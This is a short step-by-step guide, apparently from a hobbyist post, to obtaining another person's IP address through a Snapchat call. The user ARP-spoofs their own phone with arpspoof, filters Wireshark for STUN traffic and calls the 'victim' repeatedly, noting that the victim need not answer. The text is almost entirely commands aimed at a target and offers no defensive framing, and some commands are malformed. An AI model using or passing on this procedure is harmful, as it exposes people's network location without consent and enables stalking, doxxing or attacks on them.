Download Wireshark Here
Download arpspoof Here  - MACOS only* - Kali linux has this already!

1. Fire up terminal and ip forward your laptop/pc with this scripts:
       Kali -  "" sudo sysctl net.ipv4.ip_forward = 1  ""
                ""  sudo net.ipv4.ip_forward = 1    ""

       Mac - ""  sudo sysctl -w net.inet.ip.forwarding=1  ""

2. Find your phone device local ip and write it down.
    Nmap -sn <gateway ip>/24    ex. nmap -sn (or -sP) 192.168.0.1/24

3. Spoof your phone.

    arpspoof -i <interface> -t <phone ip> gateway

ex(mac):  arpspoof -i en0 -t 192.168.0.160 192.168.0.1
    

4. Fire up Wireshark and filter on your phone ip with STUN protocol

     ip.addr == <phone ip> && stun

ex.   ip.addr == 192.168.0.160 && stun


5. Call your victim on snap and keep calling him for around 5 seconds.
THEY DO NOT NEED NECESSARY TO ANSWER
You will see on wireshark some binding requests,  then some other STUN ones.
Those last ones are your victim's ip.
